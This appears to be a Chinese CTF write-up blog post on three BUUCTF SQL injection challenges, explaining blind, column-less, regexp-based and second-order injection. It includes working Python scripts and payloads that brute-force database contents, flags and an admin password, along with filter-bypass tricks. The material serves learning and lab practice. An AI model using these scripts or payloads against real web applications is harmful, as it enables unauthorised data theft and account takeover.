buu刷题

发布时间 2023-04-14 23:49:35作者: kkkl_kkKL

[GYCTF2020]Ezsqli

知识点

ascii 比较盲注

解题过程

输入id=1 的时候返回nu1l 然后 先判断是数字型还是字符型 因为一些东西被过滤了 输入1&&1=2 返回image-20230414144742687

因为这个使用某些字符会导致post传参时造成歧义 这是将paylaod url编码

所以判断为字符型

由于过滤了 union 所以不能使用 联合注入 没有报错 不能使用 报错注入

这里使用

爆出数据库名


import  requests
k=1
result=""
while  True:
    for i in range(32,128):
        url="http://f78fda52-4d4b-4dea-894d-8d1f16a26f91.node4.buuoj.cn:81/index.php"
        id="1&&ascii(substr(database(),{},1))={}".format(k,i)
        data={"id":id}
        # print(data)
        res=requests.post(url=url,data=data)
        if("Nu1L" in res.text):
            result+=chr(i)
            print(result)
            k+=1
            break
        else:
            pass

由于过滤了 information 所以这里用其他表代替 跑出表名

id="1&&(select ascii(substr(group_concat(table_name),1,1)) from sys.schema_table_statistics_with_buffer where table_schema=database())=1"

但是这里我们无法获得 列明 所以这里使用无列明注入

无列明 现在我知道的有四种 一种的 用 join using 但是这种解法的前提是需要有 报错回显才可以的

还有 一种是 子查询 但是这种的前提是 使用 union

还有 order by 这个是不能跨表查询的 同样也是需要用到 union

最后一种是ascii比较盲注

先看一下原理

select 'a'>'c';

image-20230414150228373

select 'd'>'c'

image-20230414150312742

这里比较的话是按照ascii的顺序来比较的

同样的我们还可以使用 这个语句

select((select '1','a','3')>(select * from users limit 0,1));

这里我们先要注意 这里 使用 比较的话 要使它返回的行数 (元组)是一致的 所以添加limit

然后 看 这里先比较第一列的数据 第一列相同的话 继续比较第二列

所以写脚本一位一位表爆破

import  requests
import time
k=1
result=""
kkkl=''
while  True:
    for i in range(33,127):
            time.sleep(0.2)
            kkkl=str(result+chr(i))
            url="http://f78fda52-4d4b-4dea-894d-8d1f16a26f91.node4.buuoj.cn:81/index.php"
            # id="1&&ascii(substr(database(),{},1))={}".format(k,i)
            # users233333333333333,f1ag_1s_h3r3_hhhhh
            # id="1&&(select ascii(substr(group_concat(table_name),{},1)) from sys.schema_table_statistics_with_buffer where table_schema=database())={}".format(k,i)
            id="1&& (select 1,'{}')>(select * from f1ag_1s_h3r3_hhhhh)".format(kkkl)
            # print(kkkl)
            data={"id":id}
            print(data)
            res=requests.post(url=url,data=data)
            if("Nu1L" in res.text):
                result+=chr(i-1)
                print(result)
                k+=1
                break
            else:
                pass

time.sleep 一下 要不要跑的时候会有影响

当某一位大于后面表里面的数据的时候 就会满足 返回nu1l 这里其实是比表里面的数据 ascii大一了 所以后面就需要减去1 这里因为mysql不是区分大小写的 所以这里需要全部转换为小写

猜测 这个 flag表里面只有一行数据 所以不叫limit 也不会报错 这里也是吧limit过滤掉了

这里 如果过滤了 information_schema 的时候 我们无法获取列明的时候就需要使用无列明注入 总的来说这道题还是学到点东西的

[NCTF2019]SQLi

select * from users where username='\' and passwd='||1=1;%00'

image-20230414152637336

这里直接都把注入类型告诉我们了 但是 这里过滤了 单引号 我们无法闭合前面的单引号

但是这里我们可以使用 反斜线来 转义单引号 然后 实现闭合

例如

select * from users where username='\' and passwd='aaaa'

这里 \' and passwd= 就成了 字符串 理解为 username 为 前面那一串 字符串 然后 passwd的第一个引号 把之前的username后面的那一个引号闭合了 所以这个时候我们就可以使用sql语句来注入了 但是

同样没有回显 所以需要用过盲注 这里它匹配要用户 意思就是说 匹配到 存在的用户名 就可以跳转到weclome.php界面 所以就可以利用这个判断来进行一个布尔盲注

hint.txt 里面的内容是

image-20230414153417778

意思是只要 使用 admin用户的密码登录就可以获得flag

所以这里注入admin的密码 使用布尔盲注来注入

这里 的 in = like 都被过滤掉了 可以使用 正则来匹配 regexp

sql中的regexp

先看一下表里面的信息

image-20230414154415674

然后现在我们要匹配 username 以 y结尾的数据

select * from users where username like '%y';

image-20230414154501349

现在匹配 包含y的数据

select * from users where username like '%y%';

image-20230414170734708

匹配以y开头的数据

image-20230414170802870

然后再来看regexp

匹配已y结尾的数据

select * from users where username regexp 'y$';

image-20230414173127854

匹配以y开头的数据

select * from users where username regexp '^y';

image-20230414173157905

还有一些特殊的匹配方式

| 代替or 无需空格

匹配包含 a 或者包含b的

select * from users where username regexp 'a|b';

image-20230414173355151

用方括号"[]"来囊括多个搜索条件

匹配包含`a[dy]

这个意思就是匹配包含 ad 或者 ay的数据

image-20230414174207506

这里 我们是从 当前select的表里面直接 regexp的 数据 猜测密码的字符跟post的字段一样 passwd

import requests
from urllib import parse
import string
flag=''
kkkl=''
string= string.ascii_lowercase + string.digits + '_'#//密码由小写字母 数字 下划线组成(实验证明

while 1:
    for i in string:
        kkkl=flag+i
        print(kkkl)
        url="http://49f40c53-b831-408b-a561-55a64426c901.node4.buuoj.cn:81/index.php"
        post_passwd="||passwd/**/regexp/**/\"^{}\";{}".format(kkkl,parse.unquote('%00'))
        data={"username":"\\","passwd":post_passwd}
        print(data)
        res=requests.post(url=url,data=data)
        if('welcome' in res.text):
            flag=kkkl
            print(flag)
            break
        else:
            pass

image-20230414180004349

随便一个用户名 加admin的密码就可以登上去

image-20230414180028689

[网鼎杯2018]Unfinish

无列明注入

这里会把 注册的 username 的 展现出来 然后

这里猜测后端 为

insert into  users values ('email','username','password')

然后这里使用 sql的一个加法运算 来 爆出数据

因为 sql特性 这里加法的话只能用 数字来加 所以这里转换成ascii就可以 我看网上还有 使用二次hex的 来报数据的

这里过滤了 , 然后 通关 from for 来绕过

INSERT into users VALUES('1',''+ascii(substr((select * from flag),1,1))+'','password')
import requests
import re
import  random
k=1
flag=''
while 1:
    url="http://edc8b768-e17b-45d1-a323-79854eb404ce.node4.buuoj.cn:81/register.php"
    url_log="http://edc8b768-e17b-45d1-a323-79854eb404ce.node4.buuoj.cn:81/login.php"
    email="{}@qq.com".format(str(random.randint(0, 99999)))
    # username="'+ascii(substr(database()from {} FOR 1))+'".format(str(k))
    username = "'+ascii(substr((select * from flag)from {} FOR 1))+'".format(str(k))
    print(email)
    password='123456'
    data={"email":email,"username":username,"password":password}
    data_log={"email":email,"password":password}
    res=requests.post(url=url,data=data)
    res_log=requests.post(url=url_log,data=data_log,allow_redirects=True)
    text=res_log.text
    regex=r'<span class="user-name">\n            (.*?)          </span>'
    result=re.findall(regex,text, re.S | re.M)
    result_test=int(result[0])
    print(type(result_test))
    flag+=chr(result_test)
    print(flag)
    print(chr(result_test))
    # print(chr(int(result_test)))
    k+=1